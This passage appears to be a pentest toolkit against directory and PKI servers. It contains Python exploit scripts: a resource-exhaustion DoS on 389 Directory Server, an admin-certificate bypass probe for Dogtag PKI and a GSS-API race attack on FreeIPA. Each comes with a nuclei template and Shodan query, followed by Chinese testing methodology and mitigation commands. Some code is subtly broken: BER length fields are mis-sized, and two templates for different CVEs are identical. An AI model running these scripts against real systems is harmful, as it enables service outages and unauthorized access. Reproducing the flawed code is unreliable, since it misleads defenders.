    print(f"[*] Sending Add request with {num_values} attribute values...")
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.settimeout(30)
        s.connect((host, port))
        print("[+] Connected")
        s.sendall(BIND_REQUEST)
        s.recv(4096)
        print("[+] Anonymous bind successful")
        payload = build_multivalue_add(num_values)
        print(f"[*] Payload size: {len(payload)} bytes")
        s.sendall(payload)
        print("[*] Waiting for server response...")
        try:
            resp = s.recv(4096)
            if resp and len(resp) > 9:
                result_code = resp[9]
                if result_code == 0x00:
                    print("[+] Add succeeded (server may not be vulnerable)")
                else:
                    print(f"[*] Server responded with code: 0x{result_code:02x}")
            else:
                print("[-] No response received")
        except socket.timeout:
            print("[*] Response timeout (server may be processing or crashed)")
        s.close()
    except ConnectionRefusedError:
        print("[+] Connection refused - server may have crashed!")
    except Exception as e:
        print(f"[-] Error: {e}")


if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"Usage: {sys.argv[0]} <target_host> [port] [num_values]")
        sys.exit(1)
    target_host = sys.argv[1]
    target_port = int(sys.argv[2]) if len(sys.argv) > 2 else 389
    num_values = int(sys.argv[3]) if len(sys.argv) > 3 else 50000
    exploit_dos(target_host, target_port, num_values)

id: CVE-2024-3657
info:
  name: 389 Directory Server - Multi-Value Attribute Resource Exhaustion DoS
  author: security-researcher
  severity: high
  description: 389-ds-base 2.3-2.5 allows denial of service through resource exhaustion when processing multi-valued attributes.
  reference:
    - https://github.com/389ds/389-ds-base/issues/5800
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
    cvss-score: 7.5
    cwe-id: CWE-770
  metadata:
    max-request: 1
    shodan-query: product:"389-ds-base"
  tags: cve,cve2024,389ds,ldap,dos,resource-exhaustion

network:
  - inputs:
      - data: "300c020101600702010304008000"
        type: hex
    host:
      - "{{Hostname}}"
    port: 389
    read-size: 2048
    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "020100"
          - "61"

curl -k -E /tmp/fake_admin.pem https://target:8443/ca/rest/account/login -s -w "%{http_code}"

pki-server cert-show --cert /tmp/fake_admin.pem

import ssl
import sys
import json
import http.client

try:
    import requests
    HAS_REQUESTS = True
except ImportError:
    HAS_REQUESTS = False


def test_admin_cert_bypass(host, port=8443):
    print(f"[*] CVE-2023-4727 - Dogtag PKI Admin Cert Authentication Bypass")
    print(f"[*] Target: {host}:{port}")

    endpoints = [
        "/ca/rest/account/login",
        "/ca/rest/admin/users",
        "/ca/rest/certificate/search",
        "/ca/admin/ca/getStatus",
        "/kra/rest/account/login",
        "/kra/rest/admin/users",
    ]

    ctx = ssl.create_default_context()
    ctx.check_hostname = False
    ctx.verify_mode = ssl.CERT_NONE

    for endpoint in endpoints:
        try:
            conn = http.client.HTTPSConnection(host, port, context=ctx, timeout=10)
            conn.request("GET", endpoint)
            resp = conn.getresponse()
            body = resp.read().decode("utf-8", errors="ignore")
            status = resp.status

            print(f"[*] {endpoint} -> HTTP {status}")

            if status == 200:
                try:
                    data = json.loads(body)
                    if "User ID" in str(data) or "token" in str(data).lower():
                        print(f"  [!] Potential bypass: {data}")
                except json.JSONDecodeError:
                    pass
            elif status == 401:
                print(f"  [-] Authentication required (not vulnerable)")
            elif status == 403:
                print(f"  [-] Forbidden (may need valid cert)")
            elif status == 404:
                print(f"  [-] Endpoint not found")

            conn.close()
        except Exception as e:
            print(f"  [-] Error: {e}")


def test_pki_endpoints(host, port=8443):
    print(f"\n[*] Enumerating PKI endpoints...")
    admin_endpoints = [
        "/ca/rest/admin/group/listing",
        "/ca/rest/admin/user/listing",
        "/ca/rest/admin/audit/listing",
        "/ca/rest/admin/connector/listing",
        "/ca/rest/admin/subsystem/listing",
        "/ca/rest/admin/cert/listing",
        "/ca/rest/admin/policy/listing",
    ]

    ctx = ssl.create_default_context()
    ctx.check_hostname = False
    ctx.verify_mode = ssl.CERT_NONE

    accessible = []
    for endpoint in admin_endpoints:
        try:
            conn = http.client.HTTPSConnection(host, port, context=ctx, timeout=5)
            conn.request("GET", endpoint)
            resp = conn.getresponse()
            status = resp.status
            conn.close()

            if status in (200, 201):
                accessible.append(endpoint)
                print(f"  [!] ACCESSIBLE: {endpoint} (HTTP {status})")
            elif status == 404:
                pass
            else:
                print(f"  [-] {endpoint} -> HTTP {status}")
        except Exception:
            pass

    return accessible


if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"Usage: {sys.argv[0]} <target_host> [port]")
        print(f"Example: {sys.argv[0]} 192.168.1.100 8443")
        sys.exit(1)

    target_host = sys.argv[1]
    target_port = int(sys.argv[2]) if len(sys.argv) > 2 else 8443

    test_admin_cert_bypass(target_host, target_port)
    accessible = test_pki_endpoints(target_host, target_port)

    if accessible:
        print(f"\n[+] {len(accessible)} admin endpoints are accessible!")
    else:
        print(f"\n[-] No admin endpoints accessible (target may be patched)")

id: CVE-2023-4727
info:
  name: Dogtag PKI - Admin Certificate Authentication Bypass
  author: security-researcher
  severity: high
  description: Dogtag PKI 10.x contains an authentication bypass in admin certificate validation that allows unauthorized access to PKI management endpoints.
  reference:
    - https://github.com/dogtagpki/pki/security/advisories
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
    cvss-score: 8.1
    cwe-id: CWE-295
  metadata:
    max-request: 1
    shodan-query: title:"PKI" http.title:"Dogtag"
  tags: cve,cve2023,dogtag,pki,freeipa,auth-bypass,cert

network:
  - inputs:
      - data: "GET /ca/rest/account/login HTTP/1.1\r\nHost: {{Hostname}}\r\nConnection: close\r\n\r\n"
        type: template
    host:
      - "{{Hostname}}"
    port: 8443
    tls: true
    read-size: 2048
    matchers-condition: or
    matchers:
      - type: word
        part: body
        words:
          - "User ID"
          - "token"
      - type: status
        status:
          - 200

kinit -S LDAP/target@REALM admin@REALM

import socket
import sys
import struct
import threading
import time

GSS_API_BIND = (
    b"\x30\x84"
    b"\x02\x01\x01"
    b"\x60\x84"
    b"\x02\x01\x03"
    b"\x04\x00"
    b"\xa3\x84"
)

BIND_REQUEST_TEMPLATE = bytearray(
    b"\x30\x84\x00\x00\x00\x00"
    b"\x02\x01\x01"
    b"\x60\x84\x00\x00\x00\x00"
    b"\x02\x01\x03"
    b"\x04\x00"
)

GSS_SPNEGO_OID = b"\x2b\x06\x01\x05\x05\x02"
GSS_KERBEROS_OID = b"\x2a\x86\x48\x86\xf7\x12\x01\x02\x02"


def build_gss_bind(msg_id, token_data):
    msg_id_field = struct.pack(">I", msg_id)[1:]
    token_field = b"\xa3\x84" + len(token_data).to_bytes(5, "big") + token_data
    auth_field = token_field
    bind_inner = (
        struct.pack(">I", 3)[1:]
        + b"\x04\x00"
        + auth_field
    )
    bind_tag = b"\x60\x84" + len(bind_inner).to_bytes(5, "big") + bind_inner
    msg_inner = msg_id_field + bind_tag
    return b"\x30\x84" + len(msg_inner).to_bytes(5, "big") + msg_inner


def send_bind(host, port, msg_id, token_data):
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.settimeout(10)
        s.connect((host, port))
        bind_msg = build_gss_bind(msg_id, token_data)
        s.sendall(bind_msg)
        resp = s.recv(4096)
        s.close()
        return resp
    except Exception:
        return None


def race_condition_attempt(host, port, num_threads=10):
    print(f"[*] CVE-2024-22316 - FreeIPA GSS-API Token Validation Race Condition")
    print(f"[*] Target: {host}:{port}")
    print(f"[*] Launching {num_threads} concurrent auth attempts...")

    fake_token = b"\x60\x82\x00\x0a"
    fake_token += GSS_SPNEGO_OID
    fake_token += b"\x04\x02\x00\x00"

    results = {"success": 0, "failure": 0, "error": 0}

    def attempt(idx):
        resp = send_bind(host, port, idx + 1, fake_token)
        if resp:
            if len(resp) > 9:
                result_code = resp[9]
                if result_code == 0x00:
                    results["success"] += 1
                    print(f"  [!] Thread {idx}: Auth SUCCESS (result 0x00)")
                elif result_code == 0x0e:
                    results["error"] += 1
                else:
                    results["failure"] += 1
            else:
                results["failure"] += 1
        else:
            results["error"] += 1

    threads = []
    for i in range(num_threads):
        t = threading.Thread(target=attempt, args=(i,))
        threads.append(t)
        t.start()
        time.sleep(0.01)

    for t in threads:
        t.join(timeout=15)

    print(f"\n[*] Results: {results['success']} success, {results['failure']} failure, {results['error']} errors")

    if results["success"] > 0:
        print("[+] Race condition potentially exploitable!")
    else:
        print("[-] All attempts failed (target may be patched)")

    return results["success"] > 0


if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"Usage: {sys.argv[0]} <target_host> [port] [threads]")
        print(f"Example: {sys.argv[0]} 192.168.1.100 389 20")
        sys.exit(1)

    target_host = sys.argv[1]
    target_port = int(sys.argv[2]) if len(sys.argv) > 2 else 389
    num_threads = int(sys.argv[3]) if len(sys.argv) > 3 else 10

    race_condition_attempt(target_host, target_port, num_threads)

id: CVE-2024-22316
info:
  name: FreeIPA - GSS-API Token Validation Race Condition
  author: security-researcher
  severity: medium
  description: FreeIPA 4.x contains a race condition in GSS-API token validation that may allow authentication bypass under concurrent request conditions.
  reference:
    - https://pagure.io/freeipa/issue/9348
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N
    cvss-score: 6.5
    cwe-id: CWE-362
  metadata:
    max-request: 1
    shodan-query: product:"FreeIPA"
  tags: cve,cve2024,freeipa,gss-api,kerberos,race-condition

network:
  - inputs:
      - data: "300c020101600702010304008000"
        type: hex
    host:
      - "{{Hostname}}"
    port: 389
    read-size: 2048
    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "020100"
          - "61"

优先级 1: 版本指纹识别（无侵入性）
    ↓ 确认版本后
优先级 2: 功能性验证（轻量级 PoC）
    ↓ 确认漏洞存在后
优先级 3: 影响评估（可控范围内的完整利用验证）

LDAP 协议解析层
    ├── BER/DER 编码解析 → 缓冲区溢出
    ├── 认证上下文管理 → UAF / Double-Free
    ├── 证书处理路径 → 空引用解引用
    └── NTLM/ Kerberos 集成 → 内存破坏

认证与授权层
    ├── 匿名绑定处理 → 权限提升
    ├── 属性值返回 → ACL 检查缺失
    ├── 证书验证逻辑 → 伪造证书
    ├── GSS-API 令牌验证 → 竞态条件
    └── 管理接口认证 → 逻辑绕过

# 检查是否已安装补丁
Get-HotFix -Id KB5034441
Get-HotFix -Id KB5034439

# 如无法立即打补丁，可通过防火墙限制出站 LDAP 连接
New-NetFirewallRule -DisplayName "Block Outbound LDAP" -Direction Outbound -Protocol TCP -RemotePort 389,636 -Action Block

# 限制匿名绑定
cat >> /etc/openldap/slapd.conf << 'EOF'
disallow bind_anon
EOF

# 重启 slapd
systemctl restart slapd

# 加强 ACI 规则，禁止匿名读取敏感属性
ldapmodify -x -D "cn=Directory Manager" -W << 'EOF'
dn: dc=example,dc=com
changetype: modify
add: aci
aci: (targetattr="userPassword")(version 3.0; acl "Deny anonymous password read"; deny (read, search, compare) userdn = "ldap:///anyone";)
EOF

# 更新 FreeIPA
dnf update --security -y

# 重启 FreeIPA 服务
ipactl restart